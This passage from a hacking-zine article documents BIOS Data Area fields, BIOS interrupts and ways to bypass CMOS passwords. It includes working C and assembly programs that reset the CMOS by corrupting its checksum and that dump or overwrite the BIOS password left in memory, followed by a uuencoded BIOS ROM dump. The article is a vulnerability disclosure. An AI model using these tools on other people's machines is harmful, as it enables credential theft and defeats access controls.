           1b = yes
          Bit 4 indicates diskette 1 change line detection
           0b = no
           1b = yes
          Bit 3 not used
          Bit 2 indicates drive 0 type determination
           0b = not determined
           1b = determined
          Bit 1 indicates drive 0 multirate status
           0b = no
           1b = yes
          Bit 0 indicates diskette 0 change line detection
           0b = no
           1b = yes
0x90 1  byte  Diskette 0 media state
          Bit 7-6 indicate transfer rate
           00b = 500 Kbit/sec
           01b = 300 Kbit/sec
           10b = 250 Kbit/sec
           11b = 1 Mbit/sec
          Bit 5 indicates double stepping
           0b = not required
           1b = required
          Bit 4 indicates media in floppy drive
           0b = unknown media
           1b = known media
          Bit 3 not used
          Bit 2-0 indicates last access
           000b = trying 360k media in 360K drive
           001b = trying 360K media in 1.2M drive
           010b = trying 1.2M media in 1.2M drive
           011b = known 360K media on 360K drive
           100b = known 360K media in 1.2M drive
           101b = known 1.2M media in 1.2M drive
           110b = not used
           111b = 720K media in 720K drive or 1.44M media
                in 1.44M drive
0x91 1  byte  Diskette 1 media state
          Bit 7-6 indicate transfer rate
           00b = 500 Kbit/sec
           01b = 300 Kbit/sec
           10b = 250 Kbit/sec
           11b = 1 Mbit/sec
          Bit 5 indicates double stepping
           0b = not required
           1b = required
          Bit 4 indicates media in floppy drive
           0b = unknown media
           1b = known media
          Bit 3 not used
          Bit 2-0 indicates last access
           000b = trying 360k media in 360K drive
           001b = trying 360K media in 1.2M drive
           010b = trying 1.2M media in 1.2M drive
           011b = known 360K media on 360K drive
           100b = known 360K media in 1.2M drive
           101b = known 1.2M media in 1.2M drive
           110b = not used
           111b = 720K media in 720K drive or 1.44M media in
                1.44M drive
0x92 1  byte  Diskette 0 operational starting state
          Bit 7 indicates data transfer rate
           00b = 500 Kbit/sec
           01b = 300 Kbit/sec
           10b = 250 Kbit/sec
           11b = 1 Mbit/sec
          Bits 5-3 not used
          Bit 2 indicates drive determination
           0b = drive type not determined
           1b = drive type determined
          Bit 1 indicates drive multirate status
           0b = drive is not multirate
           1b = drive is multirate
          Bit 0 indicates change line detection
           0b = no change line detection
           1b = change line detection
0x93 1  byte  Diskette 1 operational starting status
          Bit 7 indicates data transfer rate
           00b = 500 Kbit/sec
           01b = 300 Kbit/sec
           10b = 250 Kbit/sec
           11b = 1 Mbit/sec
          Bits 5-3 not used
          Bit 2 indicates drive determination
           0b = drive type not determined
           1b = drive type determined
          Bit 1 indicates drive multirate status
           0b = drive is not multirate
           1b = drive is multirate
          Bit 0 indicates change line detection
           0b = no change line detection
           1b = change line detection
0x94 1  byte  Diskette 0 current cylinder
0x95 1  byte  Diskette 1 current cylinder
0x96 1  byte  Keyboard status flags 3
          Bit 7, 1b = reading two byte keyboard ID in progress
          Bit 6, 1b = last code was first ID character
          Bit 5, 1b = forced Numlock on
          Bit 4 indicates presence of 101/102 key keyboard
           0b = present
           1b = not present
          Bit 3 indicates right alt key active
           0b = not active
           1b = active
          Bit 2 indicates right control key active
           0b = not active
           1b = active
          Bit 1, 1b = last scancode was E0h
          Bit 0, 1b = last scancode was E1h
0x97 1  byte  Keyboard   status flags 4
          Bit 7, 1b = keyboard transmit error
          Bit 6, 1b = LED update in progress
          Bit 5, 1b = re-send code received
          Bit 4, 1b = acknowledge code received
          Bit 3, 1b = reserved
          Bit 2 indicates CapsLock LED state
           0b = CapsLock LED off
           1b = CapsLock LED on
          Bit 1 indicates NumLock LED state
           0b = NumLock LED off
           1b = NumLock LED on
          Bit 0 indicates ScrollLock LED state
           0b = ScrollLock LED off
           1b = ScrollLock LED on
0x98 4  bytes  Segment:Offset address of user wait flag pointer
0x9C 4  bytes  User wait count
0xA0 1  byte  User wait flag
          Bit  7, 1b = wait time has elapsed
          Bit 6-1 not used
          Bit 0 indicates wait progress
           0b = no wait in progress
           1b = wait in progress
0xA1 7  bytes  Local area network (LAN) bytes
0xA8 4  bytes  Segment:Offset address of video parameter control block
0xAC 68 bytes  Reserved
0xF0 16 bytes  Intra-applications communications area

The BDA is usually 255 bytes long and is created by BIOS in RAM at
0x0040000.

As you can see above, there is a keyboard buffer at 0x1E, which is ruled
thanks to two flags at 0x1A and 0x1C which point to the next and last
caracters in this buffer. By dumping this buffer (see section 3), I
realised that this buffer is filled with the caracter and then its scan
code.


Assuming the password is correct, the booting process will go on. If you
press a spacial key, (usually the <F1> or <del> key), you will enter in
the so called &#39;Bios Setup&#39;, which is actually a CMOS configuration.
Otherwise, the BIOS will be in charge of loading your Os... Let&#39;s
give a few details on this next step.


The BIOS is carried of offering basic input/output operations mainly
through the following interrupts : (ripped from [url]www.bioscentral.com[/url] [8]).


figure 3 : Bios Services.



Int  Adress       Type     Description

0x00 0000:0000h    Processor  Divide by zero
0x01 0000:0004h    Processor  Single step
0x02 0000:0008h    Processor  Non maskable interrupt
0x03 0000:000Ch    Processor  Breakpoint
0x04 0000:0010h    Processor  Arithmetic overflow
0x05 0000:0014h    Software  Print screen
0x06 0000:0018h    Processor  Invalid op code
0x07 0000:001Ch    Processor  Coprocessor not available
0x08 0000:0020h    Hardware  System timer service
0x09 0000:0024h    Hardware  Keyboard device service
0x0A 0000:0028h    Hardware  Cascade from 2nd programmable
0x0B 0000:002Ch    Hardware  Serial port service
0x0C 0000:0030h    Hardware  Serial port service
0x0D 0000:0034h    Hardware  Parallel printer service
0x0E 0000:0038h    Hardware  Floppy disk service
0x0F 0000:003Ch    Hardware  Parallel printer service
0x10 0000:0040h    Software  Video service routine
0x11 0000:0044h    Software  Equipment list service
0x12 0000:0048H    Software  Memory size service routine
0x13 0000:004Ch    Software  Hard disk drive service
0x14 0000:0050h    Software  Serial communications
0x15 0000:0054h    Software  System services support
0x16 0000:0058h    Software  Keyboard support service
0x17 0000:005Ch    Software  Parallel printer support
0x18 0000:0060h    Software  Load and run ROM BASIC
0x19 0000:0064h    Software  DOS loading routine
0x1A 0000:0068h    Software  Real time clock service
0x1B 0000:006Ch    Software  CRTL - BREAK service
0x1C 0000:0070h    Software  User timer service routine
0x1D 00000074h     Software  Video control parameter
0x1E 0000:0078h    Software  Floppy disk parameter
0x1F 0000:007Ch    Software  Video graphics character
0x20-0x3F 0000:0080f Software  DOS interrupt points
    (or 0000:00FCh)
0x40 0000:0100h    Software  Floppy disk revector
0x41 0000:0104h    Software  hard disk drive C: parameter
0x42 0000:0108h    Software  EGA default video driver
0x43 0000:010Ch    Software  Video graphics characters
0x44 0000:0110h    Software  Novel Netware API
0x45 0000:0114h    Software  Not used
0x46 0000:0118h    Software  Hard disk drive D: parameter
0x47 0000:011Ch    Software  Not used
0x48            Software  Not used
0x49 0000:0124h    Software  Not used
0x4A 0000:0128h    Software  User alarm
0x4B-0x63 0000:012Ch Software  Not used
0x64            Software  Novel Netware IPX
0x65-0x66        Software  Not used
0x67            Software  EMS support routines
0x68-0x6F 0000:01BCh Software  Not used
0x70 0000:01c0h    Hardware  Real time clock
0x71 0000:01C4h    Hardware  Redirect interrupt cascade
0x72-0x74 0000:01C8h Hardware  Reserved
    (or 0000:01D0h)
0x75 0000:01D4h    Hardware  Math coprocessor exception
0x76 0000:01D8h    Hardware  Hard disk support
0x77 0000:01DCh    Hardware  Suspend request
0x78-0x79 0000:01E0h Hardware  Not used
0x7A            Software  Novell Netware API
0x78-0xFF 0000:03FCh Software  Not used



The BIOS interrupts are very basic but sufficient for the OS to
be launched by reading the boot sector of the selected bootable device in
memory at  0x7C00.Then, code execution is set to that adress and the OS
takes control.


Ok, now kids, here is what you&#39;ve been waiting for : a quick sumary of
available techniques to bypass the CMOS password. Note those techniques
are obvious once you understand how the whole process works...
The following methods are taken from Christophe Grenier&#39;s page [9].
I would like to thank him for helping me by mail in my researches
concerning Bios disassembly.

Bypassing a Bios password if the computer is off can&#39;t be done with
software : until the password is entered correctly, the computer will
simply not boot. Therefore, a first methode is to replace the CMOS chip
(which contains the password) by a new (passwordless one).
The CMOS can also be reset by switching off a battery on the mother
board that supplies its power. All those methodes, along with more
sofisticated ones consisting in court-circuiting the CMOS are
discribed on Christophe Grenier&#39;s Home Page [9].


Software based methods to recover a CMOS password or generate one
that has the same checksum can therefore only be done if the
computer is on. Appart from manufacturers backdoors [10], finding such
a password is technically very difficult, time consuming and
moreover, those decyphering techniques are very model specific.
But in the case of Toshiba laptops, there is an other way to
reset the password... If you perform a &#39;string&#39; command on a
Toshiba Bios ROM, or disassemble it, you&#39;ll notice the following string :

  db  44h ; D
  db  6Fh ; o
  db  20h ;  
  db  79h ; y
  db  6Fh ; o
  db  75h ; u
  db  20h ;  
  db  77h ; w
  db  61h ; a
  db  6Eh ; n
  db  74h ; t
  db  20h ;  
  db  74h ; t
  db  6Fh ; o
  db  20h ;  
  db  63h ; c
  db  72h ; r
  db  65h ; e
  db  61h ; a
  db  74h ; t
  db  65h ; e
  db  20h ;  
  db  61h ; a
  db  20h ;  
  db  70h ; p
  db  61h ; a
  db  73h ; s
  db  73h ; s
  db  77h ; w
  db  6Fh ; o
  db  72h ; r
  db  64h ; d
  db  20h ;  
  db  64h ; d
  db  69h ; i
  db  73h ; s
  db  6Bh ; k
  db  65h ; e
  db  74h ; t
  db  74h ; t
  db  65h ; e
  db  3Fh ; ?


What is this ?? Well, as mentioned on Bugtraq mailing list [11], there
is a way to reset the CMOS password by creating a boot disk whose first
sectors contains the string "KEY" followed by 0x0000.



This is it for my brief description of the Bios. If you look back at the
figures mentionned above, you&#39;ll realise that most informations
concerning your hardware is stored inside the CMOS or the BDA.
Well, there is an even much complete way to gather
informations on a computer. It is called SMBIOS.
SMBIOS is a standard defined by DMTF [12], which is an aliance of major
hardware manufacturers to create a powerfull way to deal with hardware.
You can download a nice utility to get a detailed report on your system
thanks to DMIDECODE you can get at freshmeat web site [13]. Describing
the SMBIOS structure is off topic since we won&#39;t use it in this paper,
refer to those links for more infos.


Enougth description, let&#39;s move to a more practical point of view...


--[ 3 - Physical Ports Acess : CMOS Phun


We will first focus on physical ports manipulation : the Bios can do it,
so why couldn&#39;t we ?



The two following techniques were pretty common under MS DOS several years
ago (see the "Bios Companion" [4] for instance).
It made use of debug to access physical ports. Under Linux, this
requires special permissions that are given using ioperm.


As seen earlier,CMOS is not loaded on memory : it is set on a different
chip. Interraction with the CMOS is done through physical ports 0x70 and 0x71.
All physical ports operations follow the same scheme
only the port numbers change. The first one is used to seek a pointer within
the chip, and the other one is used to read or write at this position.

Here is how to interract with a CMOS chip :
Writing to 0x70 with a given value will in return allow us to read the
actual content of the CMOS chip at this offset on physical port 0x71.




---------------------------------------------------------------------------
/*
*               CMOS DUMPER
*       Endrazine [email]endrazine@pulltheplug.org[/email]
*
*
* compiling : gcc cmosd.c -o cmosd.o
* usage : #cmosd > cmos.dump
*
*/
#include <stdio.h>
#include <unistd.h>
#include <asm/io.h>


int main ()
{
      int i;

      if (ioperm(0x70, 2, 1))  //Ask Permission (set to 1)
      {                 //for ports 0x70 and 0x71
           perror("ioperm");
           exit (1);
      }

      for (i=0;i<64;i++)
      {
       outb(i,0x70);// Write to port 0x70
       usleep(100000);
       printf("%c",inb(0x71));

      }

      if (ioperm(0x71, 2, 0)) // We don&#39;t need Permission anymore
      {                // (set permissions to 0).
            perror("ioperm");
            exit(1);
      }

      exit (0);// Quit
}

---------------------------------------------------------------------------


CMOS has a crc checksum stored at offset 0x2e on the CMOS chip, as shown
earlier in the CMOS Map. The way this checksum is calculated depends on
the model of the CMOS.





The main idea to reset CMOS is to make the checksum fail.
This will allow Bios to reset the CMOS to its defaults settings since the
flag at 0x0E (in CMOS) will be set to false, resulting in a CMOS flush.
Hence, this will remove the BIOS Password. To do so, we will use a trick
from the "Bios Companion" [4] : writing on port 0x70 with a value of 0x2e
corresponding to the CMOS checksum offset and then writing on port 0x71
with an arbitrary value which will replace the actual checksum.
Christophe Grenier ([url]www.cgsecurity.com[/url]) noticed that setting the checksum
to any value between 0x10 and 0x2F will result in a wrong checksum
(I can&#39;t explain why since the algorithmes used to calculate those
checksums are - as far as I know - not standard. I can only suppose Bios
manufacturers decided that the algorithmes would have to be made so that
such values are impossible in any CMOS configuration).




---------------------------------------------------------------------------
/*
*                Reset CMOS
*        Endrazine [email]endrazine@pulltheplug.org[/email]
*/
#
#include <stdio.h>
#include <unistd.h>
#include <sys/io.h>


int main ()
{
      ioperm(0x70, 1, 1);  //Ask Permission (set to 1)
      ioperm(0x71, 1, 1);

       outb(0x2e,0x70);// Write to port 0x70
       usleep(100000);
       outb(0xff,0x71);  

      if (ioperm(0x70, 3, 0))
      {
            perror("ioperm");
            exit(1);
      }
      exit (0);// Quit
}



---------------------------------------------------------------------------





--[ 4 - Physical memory access applyed to Keyboard buffer access


Let&#39;s now focus on raw memory access : reading and writing to /dev/mem...



As explained in the first section of this paper :
When entering a Bios Password at command prompt, the input is stored at
adress 0x41e. It is then compared to the cyphered one stored in CMOS
for validation. Older attacks against Bios passwords were merely
attempts to decypher the CMOS hash (see Christophe GRenier&#39;s page for
exemples of such tricks). As Christophe Grenier explained me (by mail),
reversing the BIOS ROM is unecessary : one can build a conversion
table by using a diffing approche (ie : entering a password and dump
the CMOS, then change one letter in the password and see what has changed
and so on... Christophe even told me this was the methodology he used
to build his password cracking tools).

But the keyboard Buffer is a circular one, whish means that once a
character is read it is flushed. At least it should be... In fact, I
realized that Bioses did not flushed this buffer after use. In other
terms, the flags at 0x1A and 0x1C in DBA are not updated after the
user enters the password. Hence, the buffer used by the password is
never flushed...
Therefore, the password remains in plain text at physical adress 0x41e.
Note that this done by Bios functions and is OS independant.

If you experiment the code below, you will notice that other softwares
do not always use those flags correctly. For instance, I noticed that
grub and lilo did not read the 0x1A flag and use the whole buffer, even
if it has not been flushed ! I&#39;ve not been able to find out any way to
use this fact, but if you do, please send me a mail.

We will now create a piece of code to read the content of this buffer.
This task isn&#39;t as easy as it may seem, since most OSes will not allow
any program to perform direct physical memory reading. In fact, modern
OSes do not work with physical but virtual memory and therefore, we
cannot use any function part of the API handling memory adresses :
they simply won&#39;t point to the rignt place. I&#39;ve choosen to write an
exemple under MS Dos because it is such a basic OS that no particular
rights are equired to perform physical memory reading (MS Dos is not a
mutliuser OS anyway and doesn&#39;t use virtual memory at all). I thought
porting the code under Windows would be a very hard task since MS Dos and
recent Windows (since Windows 2000) are not supposed to be compatible
since Windows now as its own kernel. Furthermore, passing from a 16 bits
architecture to a 32 bites one is usually difficult, and I thought
running the exploit might need ring 0 privilege (ie system privilege).
Well, I was wrong and porting the code under Windows was no big deal,
as you will below. This code as been tested on the Toshiba computer
used since the very beginning of this article under Windows XP Pro, and
with the p100 MHz one under Windows 98 SE. It has also been tested under
Windows Server 2000 (P4, 512 RAM).



;---------------- [ wbiosw.asm ]-----------------------------------------


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;      Endrazine [email]endrazine@pulltheplug.org[/email]      ;
;      Bios Password Physical Memory Reader      ;
;    Write to file Windows Compatible version    ;
;                                   ;
;Compiling : A86 wbiosw.asm wbiosw.com          ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

code segment
      org 100h
      assume ds:code, es:code, cs:code

start:
      mov ah, 09h
      mov dx,offset welcome
      int 21h

      xor ax,ax
      int 16h

      mov ds, 40h            ; This is the input buffer adress
      mov si, 01EH            ; starting at 40h:01eh
      mov di,offset buffer
      mov cx,32

daloop:
      mov ax,[ds:si]
      mov [cs:di],ax
      inc di
      add si,2              ; Replace this line by add si,4
                        ; if you plan to use it under Dos
loop daloop

      mov ds,es

      mov ah, 3ch            ; MS DOS Create file Function
      mov dx, offset fname
      xor cx,cx
      int 21h


      mov ax, 3d01h          ; MS DOS Open file Function
      int 21h
      mov handle,ax

      mov ah, 40h
      mov bx,handle
      mov cx,32
      mov dx, offset Msg
      int 21h              ; Write buffer to file


      mov ax,4ch            ; Quit
      int 21h




handle dw ?
welcome db &#39;Password dumper by Endrazine ([email]endrazine@pulltheplug.org[/email])&#39;,10,13
      db &#39;&#39;,10,13
      db &#39;Dumping Password to Password.txt&#39;,10,13
      db &#39;Press any Key$&#39;,10,13
fname db &#39;Password.txt&#39;,0
Msg db &#39;Password is : &#39;,0
buffer db 32 dup ?
end start

end


;------------------------------------------------------------------------


Here comes the most interesting part (well, I find it interresting ;) :

Now, what about a Linux version ? Linux offers a way to access physical
memory : /dev/mem. In the following snippet, we will see how to read the
keyboard buffer, and even how to clear this buffer. Replacing the real
password with a fake one will also be shown. Therefore, writing a
patch under the form of a loadable kernel module by copying the
clear_bios_pwd function shouldn&#39;t be too hard.
This will be your homework ;)

Of course, this code was meant to be run as root.



;------------------------------------------------------------------------
/*
*
*          bd.c coded by Endrazine
*         [email]endrazine@pulltheplug.org[/email]
*
*
*
*/


#define BIOS_PWD_ADDR 0x041e

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/uio.h>

struct dumpbuff
{
      char tab[32];      
};



int dump_bios_pwd(void)
{
      char tab[32];
      char tab2[16];
      int fd,a,i,j;

      fd =  open("/dev/mem", "r");

      if(fd == -1)
      {
           printf("cannot open /dev/mem");
           return 1;
      }

      a=lseek(fd,BIOS_PWD_ADDR,SEEK_SET);
      a=read(fd, &tab, 32);
      if(a<=0)
      {
           printf("cannot read /dev/mem");
           return 1;
      }

      close(fd);

      i=0;
      for (j=0;j<16;j++)
      {
           tab2[i]=tab[2*j];
           i++;      
      }
      
      printf("\n\nPassword : ");
      for (j=0;j<16;j++)
      {
           printf("%c",tab2[j]);

      }

      printf("\n");
      return 0;

}


int clear_bios_pwd (void)
{


      FILE *f;
      struct dumpbuff b;
      int i;
      long j=1054;
           
      for (i=0;i<32;i++)
      {
           b.tab[i]=&#39; &#39;;
      }

      f=fopen("/dev/mem","r+");
      fseek(f,j,SEEK_SET);

      fwrite (&b, sizeof(struct dumpbuff),1,f);
      fclose(f);
      printf("\n[Buffer Cleared]\n");
      return 0;
}





int change_pwd()
{


      FILE *f;
      struct dumpbuff b;
      int i;
      long j=1054;
      char  pwd[18];
      char crap;

//Ask Pwd...

      printf("\n Enter new Pwd :\n(16 caratcters max)\n");


      for (i=0;i<18;i++)
      {
           pwd[i]=&#39; &#39;;
      }
      
      scanf("%s%c",&pwd,&crap);
      
      for (i=0;i<=15;i++)
      {
           b.tab[2*i]=pwd[i];
           b.tab[2*i+1]=&#39; &#39;;
      }


      f=fopen("/dev/mem","r+");
      fseek(f,j,SEEK_SET);

      fwrite (&b, sizeof(struct dumpbuff),1,f);
      printf("\n[Buffer Uptdated]\n");
      fclose(f);

      return 0;


}

int main(void)
{

      char choiceval=0;
      char crap;
      char tab3[100];      
      
      printf("    _=癇ios Bumper?_ \n\n\n");
      printf("    ([email]endrazine@pulltheplug.org[/email]) \n");
      printf("      by Endrazine\n");

      while(choiceval !=&#39;x&#39;)
      {
           printf ("\n==============================\n");
           printf("[Keyboard buffer manipulation]\n");
           printf("==============================\n");
           printf("\n 1 - Display Password\n");
           printf(" 2 - Clear Keyboard Buffer\n");
           printf(" 3 - Enter new Password\n");
           printf("\n==============================\n");
           printf("\n x - Quit\n");

           scanf("%c%c",&choiceval,&crap);

           if (choiceval==&#39;1&#39;)
           dump_bios_pwd();

           if (choiceval==&#39;2&#39;)
           clear_bios_pwd();


           if (choiceval==&#39;3&#39;)
           change_pwd();      


      }
      return 0;
}





-- [ 5 - Final considerations


We&#39;ve seen how low level access through physical ports and physical
memory can reveal interresting informations on the BIOS and CMOS chips.
Those techniques are not &#39;new&#39; in themselves since OSes rely on them,
but the lack of publications on this topic made me feel this could be of
some interest to potential readers. Feel free to mail me if you experiment
those techniques and discover other applications of those.
I couldn&#39;t expose Bios ROM modifications in this article. I will sublit
a second paper later conserning those points.
I will particullary try to figure out how to fix the vulnerabilities
exposed in the present article by patching the Bios ROM.






-- [ 6 - Greetings & References



* Greetings :

Thanks to Christophe Grenier for his mails and patience. Thanks a lot to
m and Benoit for their support and relecture. I would also thank phrack&#39;s
staff and contributors for those 20+ years of intellectual stimultation
and endless source of creativity : this is what hacking is all about.
Readers that only read this article to figure out how to dump passwords
should go back to counter strike and msn messenger. Those who liked the
new ideas and methods can send me some feedback through mail :)



* References :





[1] sysodeco unpacker for Insyde Bioses ROM

       [url]http://www-user.TU-Cottbus.DE/~kannegv[/url]



[2] IDA Pro Freeware (Windows version)

       [url]http://www.datarescue.be/downloadfreeware.htm[/url]



[3] Intel Volume III

       [url]ftp://download.intel.com/design/Pentium4/manuals/[/url]



[4] The Bios Companion

       Phil Croucher,2003 electrocution  Technical Publishers



[5] The BIOS Survival Guide Version 5.4

       Jean-Paul Rodrigue and Phil Croucher

       [url]http://www.lemig.umontreal.ca/bios/bios_sg.htm[/url]

       (the web site is currently down)



[6] Award BIOS Reverse Engineering, Mappatutu Salihun Darmawan,
   Code Breakers Journal

       [url]http://www.codebreakers-journal.com/include/getdoc.php?id=83&[/url]
       article=38&mode=pdf



[7] Advanced BIOS Logo Reader

       [url]http://www.kaos.ru/biosgfx/index.html[/url]



[8] Bios Central Website

       [url]http://bioscentral.com/[/url]



[9] Christophe Grenier&#39;s Cmos password recovery tools :

       [url]http://www.cgsecurity.org/index.html?cmospwd.html[/url]



[10] Default Password List :

       [url]http://www.cirt.net/cgi-bin/passwd.pl[/url]



[11] Bugtraq post on reseting Toshiba password using a boot disk

       [url]http://seclists.org/lists/bugtraq/2000/Feb/0377.html[/url]



[12] SMBIOS Standard :

       [url]http://www.dmtf.org/standards/published_documents/DSP0134.pdf[/url]



[13] DMIDECODE/SMBIOS, generates detailled reports under linux :

       [url]http://freshmeat.net/projects/dmidecode/[/url]





-- [ 7 - Appendix :

The following archive contains the BIOS ROM I used to write this article.
I would have liked to include more files (like the pictures I dumped from
it, but I can&#39;t reasonably do this since it would take even more space.
I will try to include them in my next article). The asm file is available
on request.



begin 666 V190.ROM
M`@"=`@"W```````"`4$```````(!AP```````@"^```````"`,X`````````
M`````````@#U``````````````````(!P````````@&#39;&#39;```````"`<X`````
M``(`Q4-O<&#39;ER:6=H="`Q.3DY+3(P,#(L(&%L;"!R:6=H=&#39;,@<F5S97)V960-
M"DEN<WED92!3;V9T=V%R92!#;W)P+@``=:@`==``=8&#39;<$@&#39;5,`(&$@&#39;I`@2!
M`@@=(`(#`@@",B`"`P(("S(@`@,""!K"ZS(@`@,""`[`X,`$,)@5Y9G"F"#5
M#K2J"]+5PJP``/3\$@$IT`30X#+`X,`"P-#`@L"#D&#39;^$X-+@\`"JV.I4[_J*
MV`#2:=)XT(/0@M#0T`+0X#*0?V3@,.,"5`@RP`2,F3"9_<*9T`0BP.`PF/WE
MF<*8T.`B(`(#`@@%P.#`T,``P(/`@M(+$@%IT(+0@]``T-#0X#+\&/K+^##U
ME<*,PHV0?R?@5,`C(R/XD`%AD\@$D_6*B(S2C-*I(B`"`P((",#0P.#`\,"#
MP(*0?P/@]/7PD&#39;\"X%7P]?!4??`P]PG2")!_`^#2Y_#0@M"#T/#0X-#0,B`"
M`P(($3(@`@,""!0R(`(#`@@7,G0$D`/%\,("D`@`Y).T50$BT@(B=9)_>@"0
M!(WJ(P238`KXD`3IZI/R"H#MPHQUF%!UB2%UC?W2CL**TJK"U=*L``#2KQ(!
M:9!_/N`PXOE[(&#39;H#`@(K`@(N`-KWV_-T`40"D&#39;\^\&#39;0!D&#39;\Z\)!_/N#2X_``
MPN&#39;PD&#39;_R=!#P>`AY!Q("?W@A>0H2`G]T!%(@>#1Y2Q("?WB`>2\2`G]U&#39;!\2
M`H60?P-T?_`BY/8(V?PB,`(,D&#39;\B=`#PD&#39;\A=`SP(I!_\N"BX4`#`@17HN.0
M?_&#39;@]4Y``P(#;>5.=5``M-0%TCH"!%?".K0@!:LK`@09M&`&=5`!`@17M*0%
M>_$"!!FTI09U4`("!%>TIP7270($5[2H!<)=`@17M*D%>P`"!!FTJ@5[50($
M&;2K!7L``@09M*T%TEP"!%>TK@7"7`($5[3`!7N_`@09M-$&=5`#`@17M-(&
M=5`$`@17M-,&=5`%`@17M`,%>U4"!!FT!`9U@=P"!%<PU1U\$Q(!*?P2`2D2
M`36T$0D2`37[$@09@/&T$`+U4`($5Z(ZPCI`+N50<$KE3L#@>_H2!!E[((``
M@```V_G0X+3_!7NJ`@09M/(*>ZL2!!E[@P($&2)[_I!_]."B69+E\)!_\L*O
MX%0_TN7PZY!_^O#2KP($5W50`+0!$.5.]2N0?_+@HEJ2XO`"!%>T`@;E3G!Y
M@&#39;>T`P*`<K0$!*M.@"VT!02K3H"PM!`A,-4>?!02`2FL3A(!*1(!-;01"1(!
M-?L2!!F`\;00`O50@#Z0?_3@HEB2Y?"0?_+"K^!4&#39;_#KD&#39;_Q\-*OY4ZT`R"0
M?P/"K^#"Y_#2KY!_].#"X/``0X<!`)!_`\*OX-+G\.5.M`0#`@@=D&#39;\#PJ_@
MPN?PTJ^0?_3@PN#P`$.&#39;`0"0?P/"K^#2Y_`B(L*O$@*5@/D2!("`]&#39;^M?ZY_
MK&#39;\]?T!_,&#39;\!?P-_!&#39;\8?QE_&W\<?R=_+&#39;\M?R]_/W]7?UA_6G]<?UU_7W]A
M?V)_9G_S?QY_&#39;W\A?R)_(W]E?U9_AG^@?Z)_JG^C?Z5_JW^F?ZA_J0``__\`
M21VH__\@<`!Z`M#__P_P``#_``#_``#_`"((``$`__\!````@@``_P`$````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````!550(G[@(JY0(II0(KB@(KE`(KE0(K
MU@(K_@(KCI!^`*.CX)158!,27"W"!!(,>9!^`*.C=`#P`@B\D&#39;Y0X/6HD&#39;\!
M=`?PD&#39;\#=!KPTJ^0?@#@D`05\)!^`*/@D`!G\)!^`*.C=`#PH^#U+*/@]2NC
MX/42H^#U%J/@]1>CX/48H^#U#J/@]2.CX/4@HQ)<-X`KPJ\P+!\27C!3D7_2
MZY!_].#2X/#2KT.&#39;`0````#"K\(L$EY9TJ\`0X<!`#!I?Y`$4^`PYA#"YO"0
M!"S@PN7PD`0D=`&#39;PD`13X,+G\!)Q,L)YPFF0!$S@PN+PD`.OY/"0?W_PD&#39;]Q
M\)!_<O"0?W/PD`.N\)!_(N#2XO"0`\7@,.$.D`/"X*)BDN&2X/`28I^JV.I$
M(/J*V,($D&#39;^HX,+@PN&#39;P$DBI$DE%D&#39;]PY/#E(7`>Y2)P&I!_`N"BYU`/=(#P
MD&#39;\#X(+G4`32"(`#`@B1$$0V$E[^(`0#$@RA=+S`X&#39;0(P.`0""L0"2H0"BH0
M#2H0#RD0#BD0#"D0"RD0$"D0$2D0%"D0$BDB$C&#39;A`@B\`@RA@#\""G,"0C2`
M&`(BB0(E-P(\`0(+!0(BJ`(E6`(QV0)R<\*O$G&#39;:D&#39;\#=/_PD&#39;\!=/_PY:B0
M?E#P=:B$TJ\"!($22R["59!_\N"BXY!_\>#U3E!8``!U4`!4O[0@`H`#4R#\
MY4ZTU!/2.L(<=7\`D&#39;\#PJ_@PN?PTJ\BPCI4_+20$3`<#M(;Y4Y4`\13#L]"
M#H#<Y4XP&PRTIP*`![2H`H`"PAM^?&#39;\R``(Q(P``HCK".G(;PAOE4&#39;#JPE9`
M"U,@_&#39;[3?S,``C$C?H1_-``",2.J6)!_5.#^HN.0?U/@]4]06@``M*`7N@$`
M4&L2+WY2//WN,.`$[?1"/`58@%FTH1[J8%,:BE@2+W%5/&!)ZB3=]8+D-`&#39;U
M@^"0?U/P@#BTH@*`,Q(O?E(ZZB0`]8+D-`&#39;U@^3P?@5_,P(Q,0``$B]^4CKJ
M)`#U@N0T`?6#X&`&#39;?@5_,P(Q,9!_`\*OX,+E\-*O(C`$!A(Q/Q)"*!(\&#39;Q)&
M>!(L/A(/&Q)>_U,=?Y`!X.`%X/"T"D9T`/`27Y20`>&#39;@!>#PM`HV=`#P$E^R
MD`&#39;BX`7@\+0%)G0`\!)@H)`!X^`%X/"T`A9T`/`28+Z0`>3@!>#PM`H&=`#P
M$F#?(I!_+.!$`O"0?RW@1#GPD&#39;]:X$0C\(44\*@5D&#39;]7X##T!U3\^>A4`TDP
M]0=4\_GH5`Q)\##V#I!_6.!4X_GH5#`#`TGP=/^0?RKPD&#39;\K\)!_6?"0?U[P
MD&#39;]C\)!_9/"0?U7PY?#T,_CE$_14X/F0?RS@DN%4&#39;TGPD&#39;]:X/7PZ#.2]3.2
M\3.2\/CE\/"0?RW@TN&#39;U\.@SDO`SDO,SDO0SDO7E\/#E$S#@`Q)`J)!_)^``
M`$00\```5-_P``!4_O`B(@`!K:ZL/4`P&!D;&#39;!X?(B.BH*JEHZNHIJD_`0,$
M)28IG9Z?*"PM6E]F95976%Q=86+S_#1JB86&)R\A.CXL$!$2$Q05%A<8&7H`
M>P(2#I=Z`GLY$@ZZ$EPW$@URD&#39;X`HZ/@E%5@"1(-J!)(J1))12*0?S[@(.(!
M(GH[>P(2#KIT`/42="OU$746`&#39;47`G489,)6PD&#39;"0L)`PD022^1U10IU1CG`
M`,`!P.`20,C0X-`!T`"0?SK@TN#PD`1)=`/PD`.M=`7PD&#39;\:X++GHN>0`Z#@
MDN3PD`0H=`KPY)`$+O"0`\7@PN#P$G$4$@Z(D`0IX&`)D&#39;\*\)`$*>3PD`.P
